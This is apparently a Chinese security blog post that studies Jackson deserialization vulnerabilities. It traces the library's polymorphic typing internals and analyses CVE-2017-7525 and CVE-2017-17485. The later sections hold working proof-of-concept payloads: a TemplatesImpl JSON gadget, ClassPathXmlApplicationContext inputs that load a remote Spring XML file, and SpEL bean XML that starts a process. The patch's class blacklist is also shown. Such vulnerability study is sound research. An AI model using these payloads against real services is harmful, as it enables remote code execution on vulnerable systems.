前言 继续肝Java经典的反序列化漏洞,这次是和FastJson类似的Jackson反序列化漏洞。其中的一条JDOM XSLTransformer利用链在weblogic XMLDecoder反序列化的CVE-2019-2725中也有类似的利用。所以顺便学了。
Jackson 简单使用 简介 基本介绍
Jackson是一个开源的Java序列化和反序列化工具,可以将Java对象序列化为XML或JSON格式的字符串,以及将XML或JSON格式的字符串反序列化为Java对象。注意这里比Fastjson多的一个功能点是可以序列化XML
Spring Boot Web 组件默认使用的是 jackson
gson 和 fastjson 使用时只需要导入一个 jar 包(或者一个依赖)即可,而 jackson 却不是全部集成在一个 jar (一个应用)内,而是分为不同的功能模块(下面的依赖基本满足开发)
其中 jackson-databind 内部依赖了 jackson-annotations 与 jackson-core,所以 Maven 应用时,只要导入 databind 一个,则同时也导入了 annotations 与 core 依赖
Jackson 提供三种不同的方法来操作 JSON
流式API:使用 Stream(流) 的方式对 Json 的每一个组成部分进行最细粒度的控制,JsonParser 读取数据,JsonGenerator 写入数据。
树模型:将 JSON 文件在内存里以树的形式表示,通过 JsonNode 处理单个Json节点,类似于 XML 的 DOM 解析器。(常用)
databind 模块:ObjectMapper 读/写 JSON 是 POJO 序列化与反序列化 json 最方便的方式。(常用)
使用细节
这部分参考https://blog.csdn.net/wangmx1993328/article/details/88598625
默认情况下,ObjectMapper 在序列化对象时,将实体所有的字段一 一序列化,无论这些字段是否有值,是否为 null
如果对象的某个字段(属性)是一个接口类型且该接口类没有提供 getter 方法 ,则无法序列化(会报错)。
Spring Boot Web 组件默认使用 jackson 进行对象的序列化与反序列化,即页面传入的参数,会自动反序列化为后台对象,后台传给前端的对象,也会序列化后输出。所以需要注意返回给页面的对象默认不能使用 Jackson 以外的 Json 库序列化,比如返回一个 Gson 的 JsonObject 给前端,则会报错,因为显然 Jackson 序列化时会失败
依赖
jackson-annotations-2.7.9
jackson-core-2.7.9
jackson-databind-2.7.9
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-databind</artifactId > <version > 2.7.9</version > </dependency > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-core</artifactId > <version > 2.7.9</version > </dependency > <dependency > <groupId > com.fasterxml.jackson.core</groupId > <artifactId > jackson-annotations</artifactId > <version > 2.7.9</version > </dependency >
ObjectMapper 序列化对象 序列化
方法
说明
String writeValueAsString(Object value)
用于将任何 Java 对象序列化为 json 字符串,默认值为null(null -> null)
byte[] writeValueAsBytes(Object value)
将 java 对象序列化为 字节数组
writeValue(File resultFile, Object value)
将 java 对象序列化并输出指定文件中
writeValue(OutputStream out, Object value)
将 java 对象序列化并输出到指定字节输出流中
writeValue(Writer w, Object value)
将 java 对象序列化并输出到指定字符输出流中
反序列化
方法
说明
从给定的 JSON 字符串反序列化为 Java 对象;
T readValue(String content, Class<T> valueType)
content 为空或者为 null,都会报错
valueType 表示反序列化的结果对象,比如Person.class等
T readValue(byte[] src, Class<T> valueType)
将 json 内容的字节数组反序列化为 java 对象
T readValue(File src, Class<T> valueType)
将本地 json 内容的文件反序列化为 java 对象
T readValue(InputStream src, Class<T> valueType)
将 json 内容的字节输入流反序列化为 java 对象
T readValue(Reader src, Class<T> valueType)
将 json 内容的字符输入流反序列化为 java 对象
T readValue(URL src, Class<T> valueType)
通过网络 url 地址将 json 内容反序列化为 java 对象。这个比较危险
Demo
1 2 3 4 5 6 7 8 9 10 11 12 package example;public class User { public int id; public String username; public String password; @Override public String toString () { return String.format("User.id = %d\nUser.username=%s\nUser.password=%s" , id, username, password); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package example;import com.fasterxml.jackson.core.JsonProcessingException;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Demo1 { public static void main (String[] args) throws IOException { User user = new User(); user.id = 1 ; user.username = "diggid" ; user.password = "lalala" ; ObjectMapper mapper = new ObjectMapper(); String ser = mapper.writeValueAsString(user); User obj = mapper.readValue(ser, User.class); System.out.println(ser); System.out.println(obj); } }
解决多态问题 根据上面的readValue
方法的第二个参数指定具体的类,反序列化是可以恢复出具体的类对象的。而这里的多态问题是指类的属性 的反序列化问题:如果一个类的属性是一个多态类(如Object、抽象类等),该多态类的某一个子类实例在序列化后再进行反序列化时,如何能够保证反序列化出来的实例即是我们想要的那个特定子类的实例而非多态类的其他子类实例
解决办法
DefaultTyping
@JsonTypeInfo注解
DefaultTyping Jackson提供ObjectMapper#enableDefaultTyping
方法来设置对应的DefaultTyping值,一共有四个值,适用范围依次包含扩大,这个设置是针对属性类型的
DefaultTyping
说明
JAVA_LANG_OBJECT
属性的类型为Object
OBJECT_AND_NON_CONCRETE(无参时默认)
属性的类型为Object、Interface、AbstractClass(抽象类)
NON_CONCRETE_AND_ARRAYS
属性的类型为Object、Interface、AbstractClass、Array
NON_FINAL
所有除了声明为final之外的属性
设置了具体的值后,当一个多态类的子类(比如Object类的自定义子类Hacker)进行序列化时,会将该属性值Hacker类的完全限定名(如com.example.Hacker)写到序列化json中,反序列化时则恢复具体的类对象。
具体的例子可以参考:https://www.mi1k7ea.com/2019/11/13/Jackson%E7%B3%BB%E5%88%97%E4%B8%80%E2%80%94%E2%80%94%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/#DefaultTyping
完整Demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package example;import com.fasterxml.jackson.core.JsonProcessingException;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;import java.util.HashMap;public class Demo2 { public static void main (String[] args) throws IOException { User user = new User(); user.id = 1 ; user.username = "diggid" ; user.password = "lalala" ; user.object = new Hacker(); user.sex = new SexImpl(); user.abstractCls = new AbstractObj(); user.objArr = new Hacker[]{new Hacker(), new Hacker()}; user.hacker = new Hacker(); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE); String ser = mapper.writeValueAsString(user); User obj = mapper.readValue(ser, User.class); System.out.println(ser); System.out.println(obj); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package example;import java.lang.reflect.Array;import java.util.HashMap;import java.util.Map;public class User { public int id; public String username; public String password; public Object object; public Sex sex; public Object objArr; public AbstractCls abstractCls; public Hacker hacker; @Override public String toString () { return String.format( "User.id=%d\nUser.username=%s\nUser.password=%s\nUser.object=%s\nUser.sex=%s\nUser.abstractCls=%s\nUser.objArr=%s\nUser.unser=%s" , id, username, password, object, sex, abstractCls, objArr, hacker); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package example;public interface Sex { void setSex (int sex) ; int getSex () ; } package example;public class SexImpl implements Sex { int sex; @Override public void setSex (int sex) { this .sex = sex; } @Override public int getSex () { return this .sex; } }
AbstractCls抽象类和AbstractObj子类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package example;public abstract class AbstractCls { public abstract void setId (int id) ; public abstract int getId () ; } package example;public class AbstractObj extends AbstractCls { public int id; @Override public void setId (int id) { this .id = id; } @Override public int getId () { return this .id; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package example;public class Hacker { public String name = "aaa" ; public Hacker () { System.out.println("调用Hacker类的构造方法" ); } public void setName (String name) { System.out.println("调用Hacker类的setName" ); this .name = name; } public String getName () { System.out.println("调用Hacker类的getName" ); return this .name; } }
1 2 3 4 5 6 7 8 9 {"id" :1 ,"username" :"diggid" ,"password" :"lalala" ,"object" :["example.Hacker" ,{"name" :"hacker" }],"sex" :["example.SexImpl" ,{"sex" :0 }],"objArr" :["[Lexample.Hacker;" ,[{"name" :"hacker" },{"name" :"hacker" }]],"abstractCls" :["example.AbstractObj" ,{"id" :0 }],"hacker" :{"name" :"hacker" }} User.id=1 User.username=diggid User.password=lalala User.object=example.Hacker@61832929 User.sex=example.SexImpl@29774679 User.abstractCls=example.AbstractObj@3ffc5af1 User.objArr=[Lexample.Hacker;@5e5792a0 User.hacker=example.Hacker@26653222
@JsonTypeInfo注解 可以通过注解的方式进行类型绑定,有五个值
1 2 3 4 5 @JsonTypeInfo(use = JsonTypeInfo.Id.NONE) @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS) @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) @JsonTypeInfo(use = JsonTypeInfo.Id.NAME) @JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)
写一个User2类配合Demo1运行结果如下表格
1 2 3 4 5 6 7 8 9 10 11 12 package example;import com.fasterxml.jackson.annotation.JsonTypeInfo;public class User2 { @JsonTypeInfo(use = JsonTypeInfo.Id.NONE) public Object obj; public String toString () { return String.format("%s" , obj); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package example;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Demo3 { public static void main (String[] args) throws IOException { User2 user = new User2(); user.obj = new Hacker(); ObjectMapper mapper = new ObjectMapper(); String ser = mapper.writeValueAsString(user); System.out.println(ser); User2 obj = mapper.readValue(ser, User2.class); System.out.println(obj); } }
注解值
输出
说明
JsonTypeInfo.Id.NONE
{“obj”:{“name”:”hacker”}} {name=hacker}
和没有设置任何选项的输出结果一样。无法反序列化出正确对象
JsonTypeInfo.Id.CLASS
{“obj”:{“@class”:”example.Hacker”,”name”:”hacker”}} example.Hacker@ae45eb6
obj属性多了@class
存放类对象的完全限定名,因此可以反序列化出正确对象
JsonTypeInfo.Id.MINIMAL_CLASS
{“obj”:{“@c”:”example.Hacker”,”name”:”hacker”}} example.Hacker@27efef64
相较于上一个缩短了@class
为@c
,可以反序列化出正确对象
JsonTypeInfo.Id.NAME
{“obj”:{“@type”:”Hacker”,”name”:”hacker”}} 异常:Exception in thread “main” com.fasterxml.jackson.databind.JsonMappingException
obj属性多了@type
只存放类名,因此无法序列化出正确对象,回抛出异常
JsonTypeInfo.Id.CUSTOM
Exception in thread “main” java.lang.IllegalStateException: Do not know how to construct standard type id resolver for idType: CUSTOM
需要用户自定义解析器,直接运行抛出异常
Jackson 反序列化调试 Demo 下面的调试基于多态问题,因为漏洞的成因和这个有关。
已知结论:Jackson反序列化时会调用要被恢复的对象的构造方法和setter方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package example;public class User4 { public int id; public Object obj; public User4 () { System.out.println("调用User4类的构造方法" ); } public void setId (int id) { System.out.println("调用User4类的setId" ); this .id = id; } public int getId () { System.out.println("调用User4类的getId" ); return id; } public void setObj (Object obj) { System.out.println("调用User4类的setObj" ); this .obj = obj; } public Object getObj () { System.out.println("调用User4类的getObj" ); return obj; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package example;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Demo4 { public static void main (String[] args) throws IOException { User4 user4 = new User4(); user4.id = 1 ; user4.obj = new Hacker(); ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String ser = mapper.writeValueAsString(user4); System.out.println(ser); User4 obj = mapper.readValue(ser, User4.class); System.out.println(obj); } }
调试分析 将断点打在User4 obj = mapper.readValue(ser, User4.class);
以及各个类的构造方法和setter方法上。
直接跟进到ObjectMapper#_readMapAndClose
,该方法处理是jackson处理反序列化的整个生命周期。红框上半部分进行一系列初始化并获取具体的JsonDeserializer。获取JsonDeserializer的过程大致为:
从DeserializerCache._cachedDeserializers
缓存中获取,该属性是一个ConcurrentHashMap
缓存中没有则调用DeserializerCache#_createAndCacheValueDeserializer
-> DeserializerCache#_createAndCache2
-> DeserializerCache#_createDeserializer
来处理
从序列化类的注解中获取DeserializerCache#findDeserializerFromAnnotation
如果没有则调用DeserializerCache#modifyTypeByAnnotation
获取type,由于这里是我们自定义的User4类,所以type为SimpleType对象。
继续调用DeserializerCache#_createDeserializer2
,这里比较清楚,根据不同的type类型来获取。最后会调用factory.createBeanDeserializer
来获取到BeanDeserializer
。
获取完Deserializer之后,回到_createAndCache2
,给this._cachedDeserializers.put(type, deser);
绑定type和Deserializer到缓存中,最后返回到_readMapAndClose
中
继续调用vanillaDeserialize()
。
先调用createUsingDefault()
函数来调用指定类的无参构造函数 来生成类实例
生成实例bean,即User4对象,接下来do-while循环解析bean对象的属性,对于Object及其子类的属性类型,会调用相应属性类的构造和setter方法。propName为属性名,然后根据propName和bean获取响应的属性解析器
这里的属性是User4.id
获取的是MethodProperty。继续跟进deserializeAndSet
再跟进deserialize
,可以发现两个反序列化的逻辑,判断反序列化的内容是否携带类型,若是则调用deserializeWithType()函数解析,否则直接调用deserialize()函数解析。由于属性id是int类型,其解析器是NumberDeserializers#IntegerDeserialize
,调用deserialize方法。
得到属性值之后回到deserializeAndSet
,调用setter来设置属性。
下一个继续解析Object obj
属性,也就是反序列化恢复Hacker类对象,按照前面的分析,这个会进入deserializeWithType
的逻辑。该逻辑下有几个case。根据token值会进入到case5
然后AsArrayTypeDeserializer#deserializeTypedFromAny
-> this._deserialize
。获取到typeId即为”example.Hacker”,之后根据这个完全限定类名找到对应的解析器,这里也是BeanDeserializer
,过程和一开始找User4类的解析器差不多。
之后就是和前面一样BeanDeserializer#deserialize
来解析Hacker对象的属性字段。
设置完Hacker对象的属性后,将Hacker对象返回,一路返回到设置obj属性值的deserializeAndSet
方法,设置obj属性值为返回的Hacker对象。
最后从vanillaDeserialize
返回bean,即User4对象。至此所有的反序列化流程就结束了。
总结
先调用通过无参的构造方法 生成目标类实例
根据属性值是否是数组的形式即是否带类名(如"object":["example.Hacker",{"name":"hacker"}]
)来分别调用不同的函数来设置实例的属性值。其中会调用Object类型属性的构造方法和setter方法 。
Jackson 反序列化漏洞 原理 满足下面条件之一则存在漏洞
调用了ObjectMapper.enableDefaultTyping()函数。
对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS或JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;
当使用的JacksonPolymorphicDeserialization有上述配置问题时,Jackson反序列化就会调用属性所属类的构造方法和setter方法,在某些情况下,还可以触发无setter属性的getter。如果序列化数据可控,则可配合其他Gadgets来实现RCE、SSRF等漏洞
Demo 最简单的例子就是在目标对象或目标对象为类的属性的构造方法或setter 中本身就存在危险操作,但是实际开发肯定不会这么写。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package example;public class User5 { public int id; public User5 () { } public void setId (int id) { try { Runtime.getRuntime().exec(new String[]{"/bin/bash" , "-c" , "open /System/Applications/Calculator.app" }); }catch (Exception e){} } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package example;import com.fasterxml.jackson.databind.ObjectMapper;import java.io.IOException;public class Demo5 { public static void main (String[] args) throws IOException { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String ser = "{\"id\":0}" ; System.out.println(ser); User5 obj = mapper.readValue(ser, User5.class); System.out.println(obj); } }
CVE-2017-7525 - TemplatesImpl
Jackson也有TemplatesImpl利用链的Gadgets,其调用getOutputProperties() -> defineTransletClasses()恢复字节码对象在构造方法中触发RCE。且Jackson解析_bytecodes也会base64解码。
影响版本 & 限制 & 依赖 版本:
Jackson 2.6系列 < 2.6.7.1
Jackson 2.7系列 < 2.7.9.1
Jackson 2.8系列 < 2.8.8.1
JDK限制:
依赖:
jackson-annotations-2.7.9,jackson-core-2.7.9,jackson-databind-2.7.9
POC 1 2 3 4 5 6 7 8 9 10 11 12 { "object" :[ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" , { "transletBytecodes" :["Base64编码的字节码" ], "transletName" :"xxx" , "outputProperties" :{} } ] } ["com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" , {"transletBytecodes" :["Base64编码的字节码" ],"transletName" :"xxx" ,"outputProperties" :{}}]
属性解析器 SettableBeanProperty 在前面的调试分析中,在BeanDeserializer#vanillaDeserialize
中会调用prop.deserializeAndSet(p, ctxt, bean);
来设置属性值,在其中是否调用属性的getter或setter方法,取决于prop是哪种类型的属性解析器,即SettableBeanProperty的子类,而prop值的设定又取决于具体类的属性构造 ,具体的逻辑在以下两个方法中。
POJOPropertiesCollector#collectAll
:
调用几个方法_addFields _addMethods _addCreators _addInjectables _removeUnwantedProperties
处理props
(HashMap存储属性名和属性引用POJOPropertyBuilder
),会处理每一个属性引用POJOPropertyBuilder
的_getters
、_setters
、_fields
等几个字段值。最后设置props
到beanDesc._properties
中。
从前面说到的factory.createBeanDeserializer
开始的调用栈如下
1 2 3 4 5 6 7 8 9 10 11 collectAll:283, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect) getPropertyMap:248, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect) getProperties:155, POJOPropertiesCollector (com.fasterxml.jackson.databind.introspect) _properties:142, BasicBeanDescription (com.fasterxml.jackson.databind.introspect) findProperties:217, BasicBeanDescription (com.fasterxml.jackson.databind.introspect) _findCreatorsFromProperties:330, BasicDeserializerFactory (com.fasterxml.jackson.databind.deser) _constructDefaultValueInstantiator:312, BasicDeserializerFactory (com.fasterxml.jackson.databind.deser) findValueInstantiator:252, BasicDeserializerFactory (com.fasterxml.jackson.databind.deser) buildBeanDeserializer:221, BeanDeserializerFactory (com.fasterxml.jackson.databind.deser) createBeanDeserializer:143, BeanDeserializerFactory (com.fasterxml.jackson.databind.deser) ...
BeanDeserializer#addBeanProps
根据前面设置的beanDesc._properties
来获取每个属性的属性解析器SettableBeanProperty,存储到BeanDeserializerBuilder._properties
中
属性解析器有这些:
这里的逻辑比较复杂,有兴趣可以自己跟一下,这里直接给出结论:
先判断属性是否可见(visible),判断依据如下,满足其中之一则可见。
关于@JsonCreator
可以参考https://www.tutorialspoint.com/jackson_annotations/jackson_annotations_jsoncreator.htm
如果不可见,则会从props
(即beanDesc._properties
)中删除该属性 ,也就意味着后续反序列化不会处理这个属性,抛出异常。因此要想调用属性的getter或setter,必须保证属性可见
类属性getter、setter与属性解析器SettableBeanProperty的关系,如下表(不完全)
属性解析器
属性构造
MethodProperty
有setter
FieldProperty
public、无setter
SetterlessProperty
private、无setter、有public getter、getter的返回值的类型是Map或Collection的子类
CreatorProperty
构造方法使用@JsonCreator
,参数@JsonProperty("theName")
,则新增一个属性theName
分析 这个链子比较简单,但前面分析的获取SettableBeanProperty比较复杂。
经过POJOPropertiesCollector#collectAll
方法中的处理,会将_bytecodes
这些不可见的属性裁剪掉。留下可见的属性,其中包括POC中传入的几个属性值。
这也是为什么POC中的属性值要写transletBytecodes
而不写_bytecodes
,如果写第二个:private修饰,且没有get_bytecodes
或set_bytecodes
这样的方法(根据方法名称去掉前面的get或set找属性值,具体逻辑在_addMethods
中),所以属性不可见,因此_bytecode
会被去掉。
最终剩下六个POJOPropertyBuilder
。特别注意outputProperties属性的,其_fields
和_setters
都是null,但是有public getter,所以该属性是可见的,根据上面的分析,会得到SetterlessProperty
,最后调用getOutputProperties
触发漏洞。
高版本JDK限制 - _tfactory TemplatesImpl利用链通常需要设置三个变量值非空来使得利用链能正常进行:_name、_bytecodes、_tfactory
。但是根据不同jdk版本TemplatesImpl#defineTransletClasses
方法的不同写法,_tfactory
可以不用设置
所以在常见的链子中,如CC3,设置_tfactory
是比较稳妥的。
但是对于Jackson,则无法设置_tfactory
属性,因为_tfactory
属性值是private修饰的,且没有getter和setter,所以是不可见的,同时,不像_name
,有setTransletName
来设置this._name
。所以通过序列化字符串来设置_tfactory
属性。
修复 换成2.7.9.1版本,运行报错
1 com.fasterxml.jackson.databind.JsonMappingException: Illegal type (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) to deserialize: prevented for security reasons
在调用BeanDeserializerFactory.createBeanDeserializer()函数创建Bean反序列化器的时候,其中会调用**checkIllegalTypes()**函数提取当前类名,然后使用黑名单进行过滤。
在BeanDeserializerFactory中,存在默认的黑名单DEFAULT_NO_DESER_CLASS_NAMES
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static { Set<String> s = new HashSet<String>(); s.add("org.apache.commons.collections.functors.InvokerTransformer" ); s.add("org.apache.commons.collections.functors.InstantiateTransformer" ); s.add("org.apache.commons.collections4.functors.InvokerTransformer" ); s.add("org.apache.commons.collections4.functors.InstantiateTransformer" ); s.add("org.codehaus.groovy.runtime.ConvertedClosure" ); s.add("org.codehaus.groovy.runtime.MethodClosure" ); s.add("org.springframework.beans.factory.ObjectFactory" ); s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ); DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s); }
CVE-2017-17485 - 远程加载恶意spring bean xml
基于org.springframework.context.support.ClassPathXmlApplicationContext利益链,通过jackson-databind来滥用Spring的SpEL表达式注入漏洞 来触发Jackson反序列化漏洞。
影响版本 & 限制 & 依赖 版本
Jackson 2.7系列 < 2.7.9.2
Jackson 2.8系列 < 2.8.11
Jackson 2.9系列 < 2.9.4
限制:
不受JDK限制,可直接在JDK1.8上运行
依赖:
Jackson原生依赖(databind的三个) + 可解析SpEL表达式的依赖(spring的四个:core、beans、context、expression和commons-logging)
POC
恶意类可以是以下支持解析SpEL的AbstractApplicationContext
的子实现类
1 2 3 4 ["org.springframework.context.support.ClassPathXmlApplicationContext" , "http://127.0.0.1/spel.xml" ] ["org.springframework.context.support.FileSystemXmlApplicationContext" , "http://127.0.0.1/spel.xml" ] ["org.springframework.context.support.GenericGroovyApplicationContext" , "http://127.0.0.1/spel.xml" ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 // 单参数 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation =" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" > <constructor-arg value ="calc.exe" /> <property name ="whatever" value ="#{ pb.start() }" /> </bean > </beans > // 多参数:这里有个坑点,后面有解释,看poc应该能猜出来 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation =" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" > <constructor-arg type ="java.util.List" > <list > <value > open</value > <value > /System/Applications/Calculator.app</value > </list > </constructor-arg > <property name ="any" value ="#{ pb.start() }" /> </bean > </beans >
Spring xml配置bean
官方文档:https://docs.spring.io/spring-framework/docs/4.2.x/spring-framework-reference/html/xsd-configuration.html
参考博客:https://blog.csdn.net/lzc4869/article/details/78953897
https://sites.google.com/site/devlibrary/kai-fa-ji-qiao/spring-xml-pei-zhi-de12ge-ji-qiao
分析 根据POC我们需要关注几个点:
**不依赖目标对象的某个属性为恶意类(第一个链子的Victim1.object属性为恶意类)**,而是直接传入["类名","参数"]
,Jackson如何处理
ClassPathXmlApplicationContext是哪个方式(构造方法、setter、getter,和问题1关联)触发了漏洞?触发了什么漏洞?(猜测是远程加载xml然后解析成bean最后触发spel)
Jackson解析部分 如果熟悉前面Jackson解析流程的话,我们提到在调用具体的属性解析器的deserializeAndSet
->deserialize
方法时,其中会根据属性是否具有类型来选择deserializeWithType
或deserialize
。所以调试过程中肯定会经过某个属性解析器的deserialize
方法。
和之前的分析一样,在ObjectMapper#_readMapAndClose
方法中,包含了Jackson解析的整个生命周期,将Jackson解析部分拆分为两个部分来看
前半部分:获取JsonDeserializer
,之前分析的都是Java Bean类,然后类中有属性是其他恶意类,获取的是BeanDeserializer。而这里就不太一样,传入的是["类名","参数"]
的形式,获取到的是TypeWrappedDeserializer
。
后半部分:调用JsonDeserializer#deserialize()
解析序列化内容。
前半部分就不多分析了,知道是获取TypeWrappedDeserializer
就可以了。跟一下后半部分TypeWrappedDeserializer#deserialize
这里的typeDeserializer
是AsArrayTypeDeserializer
类(序列化数据的形式就像个数组)。
![image-20210730141419672](/Users/a861881/Library/Application Support/typora-user-images/image-20210730141419672.png)
跟进到_deserialize
中,熟悉的JsonDeserializer<Object> deser = _findDeserializer(ctxt, typeId);
。因此这里是以ClassPathXmlApplicationContext作为目标对象获取其JsonDeserializer
,这里获取是BeanDeserializer
。
所以后半部分解析和前面分析的BeanDeserializer#deserialize
就差不多了,简单跟一下
这里和前面不一样,调用的是_deserializeOther
而不是vanillaDeserialize
。因为没有json的开始标志{
,所以p.isExpectedStartObjectToken
是false。
然后一路调用栈
1 2 3 4 call1:129, AnnotatedConstructor (com.fasterxml.jackson.databind.introspect) createFromString:299, StdValueInstantiator (com.fasterxml.jackson.databind.deser.std) deserializeFromString:1204, BeanDeserializerBase (com.fasterxml.jackson.databind.deser) _deserializeOther:144, BeanDeserializer (com.fasterxml.jackson.databind.deser)
就会触发ClassPathXmlApplicationContext的构造方法了,特别要注意的是,这个构造方法是带参数的,和前面默认调用的无参构造方法不同,所以["恶意类","参数1","参数2"]
的序列化形式,可以直接调用恶意类的带参构造方法,这也是本次漏洞触发的原因。
ClassPathXmlApplicationContext恢复bean部分 接下来就是ClassPathXmlApplicationContext这部分Gadgets了,概括一下就是从远程获取spel.xml,然后进行解析,先恢复bean对象,然后再解析其构造方法的参数,然后调用构造方法,最后调用#{pb.start()}
触发RCE,所有解析bean xml标签中value 属性或value标签的过程都会调用spel表达式来解析,所以这一部分也可以理解为spel表达式注入漏洞。
从refresh()
开始跟进,经过一些初始化后,调用invokeBeanFactoryPostProcessors
来注册bean工厂类。
一路跟进,调用栈
1 2 3 4 5 doGetBeanNamesForType:421, DefaultListableBeanFactory (org.springframework.beans.factory.support) getBeanNamesForType:391, DefaultListableBeanFactory (org.springframework.beans.factory.support) invokeBeanFactoryPostProcessors:84, PostProcessorRegistrationDelegate (org.springframework.context.support) invokeBeanFactoryPostProcessors:693, AbstractApplicationContext (org.springframework.context.support) refresh:531, AbstractApplicationContext (org.springframework.context.support)
在doGetBeanNamesForType方法中,通过isFactoryBean
来判断当前beanName是否为FactoryBean
,beanName参数值为”pb”,mbd参数中识别到bean标签中的类为java.lang.ProcessBuilder
继续跟进,predictBeanType
来预测bean类型
继续一路调用栈
1 2 3 4 5 doResolveBeanClass:1409, AbstractBeanFactory (org.springframework.beans.factory.support) resolveBeanClass:1372, AbstractBeanFactory (org.springframework.beans.factory.support) determineTargetType:670, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) predictBeanType:637, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) isFactoryBean:1489, AbstractBeanFactory (org.springframework.beans.factory.support)
在doResolveBeanClass
中,准备调用evaluateBeanDefinitionString
来解析执行<bean>
标签字符串定义的内容。
跟进到StandardBeanExpressionResolver#evaluate
方法中,该方法使用SpEL表达式语法来解析。
注册完之后,返回到refresh()
方法中,继续调用finishBeanFactoryInitialization
来初始化所有bean对象
一路跟进到preInstantiateSingletons
。由于只有一个bean标签,所以只需要解析一个bean对象(“pb”)。由于ProcessBuilder不是工厂类(ObjectFactory子类),所以直接调用到getBean()
然后一路调用栈到ConstructorResolver#autowireConstructor
中去初始化生成bean对象。其中会用Spel表达式处理构造方法的参数。
1 2 3 4 5 6 7 8 9 10 autowireConstructor:148, ConstructorResolver (org.springframework.beans.factory.support) autowireConstructor:1270, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) createBeanInstance:1127, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) doCreateBean:545, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) createBean:502, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) lambda$doGetBean$0:312, AbstractBeanFactory (org.springframework.beans.factory.support) getObject:-1, 238816832 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$11) getSingleton:228, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support) doGetBean:310, AbstractBeanFactory (org.springframework.beans.factory.support) getBean:200, AbstractBeanFactory (org.springframework.beans.factory.support)
在autowireConstructor
中,调用BeanDefinitionValueResolver#resolveValueIfNecessary
,第二个参数valueHolder.getValue()
表示xml中构造方法的java.util.List
参数,接下来就会解析java.util.List
的元素值”open”和”/System/Applications/Calculator.app”,也是会调用StandardBeanExpressionResolver#evaluate
和前面一样使用Spel表达式来解析。
生成了Bean对象,即调用完new java.lang.ProcessBuilder(java.util.List)
后,回到doCreateBean
中
继续解析剩下的部分<property name="any" value="#{ pb.start() }"/>
。调用栈如下
1 2 3 resolveValueIfNecessary:191, BeanDefinitionValueResolver (org.springframework.beans.factory.support) applyPropertyValues:1613, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) populateBean:1357, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support)
因此最后在处理#{ pb.start() }
时,会触发RCE。
POC写法问题 由于是MAC电脑,所以弹计算机得两个参数,所以一开始把POC写成了
1 2 3 4 5 6 7 8 9 10 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation =" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" > <constructor-arg value ="open" index ="0" /> <constructor-arg value ="/System/Applications/Calculator.app" index ="1" /> <property name ="whatever" value ="#{ pb.start() }" /> </bean > </beans >
就相当于想执行new java.lang.ProcessBuilder("open", "/System/Applications/Calculator.app").start()
,但是咋样都弹不出计算机,非常无语。
